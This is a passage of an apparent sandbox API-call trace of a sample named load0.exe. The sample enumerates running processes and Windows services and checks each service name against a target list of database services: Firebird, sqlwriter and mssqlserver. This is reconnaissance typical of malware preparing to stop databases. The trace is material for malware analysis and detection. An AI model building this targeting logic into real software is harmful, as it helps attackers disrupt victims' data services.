pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.294] lstrlenW (lpString="svchost.exe") returned 11 [0276.294] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.295] lstrlenW (lpString="svchost.exe") returned 11 [0276.295] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x39c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.296] lstrlenW (lpString="svchost.exe") returned 11 [0276.296] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.296] lstrlenW (lpString="svchost.exe") returned 11 [0276.297] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.297] lstrlenW (lpString="svchost.exe") returned 11 [0276.297] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.298] lstrlenW (lpString="svchost.exe") returned 11 [0276.299] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.300] lstrlenW (lpString="svchost.exe") returned 11 [0276.300] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.300] lstrlenW (lpString="svchost.exe") returned 11 [0276.301] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.383] lstrlenW (lpString="spoolsv.exe") returned 11 [0276.383] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.384] lstrlenW (lpString="svchost.exe") returned 11 [0276.384] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.384] lstrlenW (lpString="audiodg.exe") returned 11 [0276.385] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0276.385] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0276.385] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0276.386] lstrlenW (lpString="Memory Compression") returned 18 [0276.386] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0276.387] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0276.387] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0276.388] lstrlenW (lpString="sihost.exe") returned 10 [0276.388] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.388] lstrlenW (lpString="svchost.exe") returned 11 [0276.389] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0276.389] lstrlenW (lpString="taskhostw.exe") returned 13 [0276.389] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0276.390] lstrlenW (lpString="msoia.exe") returned 9 [0276.390] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.391] lstrlenW (lpString="explorer.exe") returned 12 [0276.391] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0276.392] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0276.392] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0276.393] lstrlenW (lpString="SearchUI.exe") returned 12 [0276.393] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0276.394] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0276.394] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.395] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0276.395] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0276.396] lstrlenW (lpString="load0.exe") returned 9 [0276.396] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0276.397] lstrlenW (lpString="load0.exe") returned 9 [0276.397] Process32NextW (in: hSnapshot=0x112c, lppe=0x8cffd2c | out: lppe=0x8cffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 0 [0276.398] CloseHandle (hObject=0x112c) returned 1 [0276.398] Sleep (dwMilliseconds=0x1f4) [0276.958] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3f64870 [0276.959] EnumServicesStatusExW (in: hSCManager=0x3f64870, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 0 [0276.959] GetLastError () returned 0xea [0276.959] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c30) returned 0x3faf028 [0276.959] EnumServicesStatusExW (in: hSCManager=0x3f64870, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x3faf028, cbBufSize=0x1c30, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x3faf028, pcbBytesNeeded=0x8cfff3c, lpServicesReturned=0x8cfff54, lpResumeHandle=0x0) returned 1 [0276.960] CloseServiceHandle (hSCObject=0x3f64870) returned 1 [0276.960] lstrlenW (lpString="Appinfo") returned 7 [0276.960] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0276.960] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0276.960] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0276.960] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0276.960] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0276.961] lstrlenW (lpString="AppXSvc") returned 7 [0276.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0276.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0276.961] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0276.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0276.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0276.961] lstrlenW (lpString="Audiosrv") returned 8 [0276.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0276.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0276.961] lstrlenW (lpString="BFE") returned 3 [0276.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0276.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0276.961] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0276.961] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.961] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.961] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0276.961] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0276.961] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0276.961] lstrlenW (lpString="CDPSvc") returned 6 [0276.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0276.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0276.962] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0276.962] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0276.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0276.962] lstrlenW (lpString="ClickToRunSvc") returned 13 [0276.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.962] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0276.962] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0276.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0276.962] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0276.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.962] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0276.962] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0276.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0276.962] lstrlenW (lpString="CryptSvc") returned 8 [0276.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0276.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0276.962] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0276.962] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0276.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0276.962] lstrlenW (lpString="DcomLaunch") returned 10 [0276.962] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.962] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.962] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0276.962] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0276.962] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0276.962] lstrlenW (lpString="DeviceAssociationService") returned 24 [0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.963] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0276.963] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0276.963] lstrlenW (lpString="Dhcp") returned 4 [0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0276.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0276.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0276.963] lstrlenW (lpString="Dnscache") returned 8 [0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0276.963] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0276.963] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0276.963] lstrlenW (lpString="DPS") returned 3 [0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0276.963] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0276.963] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0276.963] lstrlenW (lpString="DusmSvc") returned 7 [0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0276.963] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0276.963] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0276.963] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0276.963] lstrlenW (lpString="EventLog") returned 8 [0276.963] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0276.963] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0276.964] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0276.964] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0276.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0276.964] lstrlenW (lpString="EventSystem") returned 11 [0276.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0276.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0276.964] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0276.964] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0276.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0276.964] lstrlenW (lpString="FontCache") returned 9 [0276.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0276.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0276.964] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0276.964] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0276.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0276.964] lstrlenW (lpString="gpsvc") returned 5 [0276.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0276.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0276.964] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0276.964] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0276.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0276.964] lstrlenW (lpString="iphlpsvc") returned 8 [0276.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.964] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0276.964] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0276.964] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0276.964] lstrlenW (lpString="KeyIso") returned 6 [0276.964] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0276.964] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0276.965] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0276.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0276.965] lstrlenW (lpString="LanmanServer") returned 12 [0276.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0276.965] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0276.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0276.965] lstrlenW (lpString="LanmanWorkstation") returned 17 [0276.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0276.965] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0276.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0276.965] lstrlenW (lpString="lfsvc") returned 5 [0276.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0276.965] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0276.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0276.965] lstrlenW (lpString="lmhosts") returned 7 [0276.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0276.965] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0276.965] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0276.965] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0276.965] lstrlenW (lpString="LSM") returned 3 [0276.965] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0276.965] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0276.966] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0276.966] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0276.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0276.966] lstrlenW (lpString="MpsSvc") returned 6 [0276.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0276.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0276.966] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0276.966] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0276.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0276.966] lstrlenW (lpString="NcbService") returned 10 [0276.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0276.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0276.966] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0276.966] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0276.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0276.966] lstrlenW (lpString="netprofm") returned 8 [0276.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0276.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0276.966] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0276.966] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0276.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0276.966] lstrlenW (lpString="NgcSvc") returned 6 [0276.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0276.966] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0276.966] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0276.966] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0276.966] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0276.966] lstrlenW (lpString="NlaSvc") returned 6 [0276.966] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0276.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0276.967] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0276.967] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0276.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0276.967] lstrlenW (lpString="nsi") returned 3 [0276.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0276.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0276.967] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0276.967] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0276.967] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0276.967] lstrlenW (lpString="PcaSvc") returned 6 [0276.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0276.967] 